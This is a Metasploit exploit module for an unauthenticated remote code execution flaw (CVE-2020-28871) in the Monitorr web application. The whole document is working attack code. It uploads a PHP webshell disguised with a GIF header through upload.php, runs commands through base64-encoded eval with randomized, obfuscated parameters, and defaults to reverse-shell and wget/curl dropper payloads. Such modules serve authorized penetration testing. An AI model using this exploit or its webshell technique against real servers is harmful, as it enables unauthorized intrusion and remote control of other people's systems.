Monitorr 1.7.6m / 1.7.7d Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Monitorr unauthenticated Remote Code Execution (RCE)',  
'Description' => %q{  
This module exploits an arbitrary file upload vulnerability and achieving an RCE in the Monitorr application.  
Using a specially crafted request, custom PHP code can be uploaded and injected through endpoint upload.php because of missing input validation.  
Any user privileges can exploit this vulnerability and it results in access to the underlying operating system with the same privileges  
under which the web services run (typically user www-data).  
Monitorr 1.7.6m, 1.7.7d and below are affected.  
},  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module  
'Lyhins Lab' # discovery  
],  
'References' => [  
[ 'CVE', '2020-28871' ],  
[ 'URL', 'https://lyhinslab.org/index.php/2020/09/12/how-the-white-box-hacking-works-authorization-bypass-and-remote-code-execution-in-monitorr-1-7-6/' ],  
[ 'URL', 'https://attackerkb.com/topics/UNlzoDVL3o/cve-2020-28871' ],  
[ 'EDB', '48980' ],  
[ 'PACKETSTORM', '163263' ],  
[ 'PACKETSTORM', '170974' ]  
],  
'License' => MSF_LICENSE,  
'Platform' => [ 'unix', 'linux', 'win', 'php' ],  
'Privileged' => false,  
'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Type' => :php,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ ARCH_X64, ARCH_X86 ],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2020-11-16',  
'DefaultOptions' => {  
'SSL' => false,  
'RPORT' => 80  
},  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],  
'Reliability' => [ REPEATABLE_SESSION ]  
}  
)  
)  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The Monitorr endpoint URL', '/' ]),  
OptString.new('WEBSHELL', [  
false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''  
]),  
OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])  
]  
)  
end  
  
def upload_php_code(payload)  
# Upload webshell hidden in a GIF with Metasploit payload code  
# randomize file name if option WEBSHELL is not set. Use lowercase characters because upload stores file name in lowercase  
if datastore['WEBSHELL'].blank?  
@webshell_name = "#{Rex::Text.rand_text_alpha_lower(8..16)}.php"  
else  
@webshell_name = datastore['WEBSHELL'].to_s.downcase  
end  
  
# construct multipart form data  
form_data = Rex::MIME::Message.new  
form_data.add_part(payload.prepend("GIF89a#{rand_text_numeric(6..8)}"), 'image/gif', 'binary', "form-data; name=\"fileToUpload\"; filename=\"#{@webshell_name}\"")  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'assets', 'php', 'upload.php'),  
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",  
'data' => form_data.to_s  
})  
return false unless res && res.code == 200 && !res.body.blank?  
  
# parse HTML response to find the id with value 'uploadok' that indicates a successful upload  
html = res.get_html_document  
!!html.at('div[@id="uploadok"]')  
end  
  
def execute_command(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
php_cmd_function = Base64.strict_encode64(datastore['COMMAND'])  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_get' => {  
@get_param => php_cmd_function  
},  
'vars_post' => {  
@post_param => payload  
}  
})  
end  
  
def execute_php(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'assets', 'data', 'usrimg', @webshell_name),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
@post_param => payload  
}  
})  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'assets', 'js', 'version', 'version.txt'),  
'ctype' => 'application/x-www-form-urlencoded'  
})  
if res && res.code == 200 && !res.body.blank?  
# version 0.8.6d is the first release where versioning using version.txt is introduced according the release notes.  
version = Rex::Version.new(res.body)  
return CheckCode::Vulnerable("Monitorr version: #{version}") if version.between?(Rex::Version.new('0.8.6'), Rex::Version.new('1.7.7'))  
end  
CheckCode::Unknown  
end  
  
def exploit  
# select webshell depending on the target setting (PHP or others).  
# randomize and encode all parameters to obfuscate the payload and execution  
@post_param = Rex::Text.rand_text_alphanumeric(1..8)  
@get_param = Rex::Text.rand_text_alphanumeric(1..8)  
  
if target['Type'] == :php  
@webshell = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"  
else  
@webshell = "<?=base64_decode($_GET[\'#{@get_param}\'])(base64_decode($_POST[\'#{@post_param}\']));?>"  
end  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_php_code(@webshell)  
register_file_for_cleanup(@webshell_name.to_s)  
  
case target['Type']  
when :php  
execute_php(payload.encoded)  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager(linemax: 65536)  
when :windows_command  
execute_command(payload.encoded)  
when :windows_dropper  
execute_cmdstager(flavor: :psh_invokewebrequest, linemax: 65536)  
end  
end  
end  
`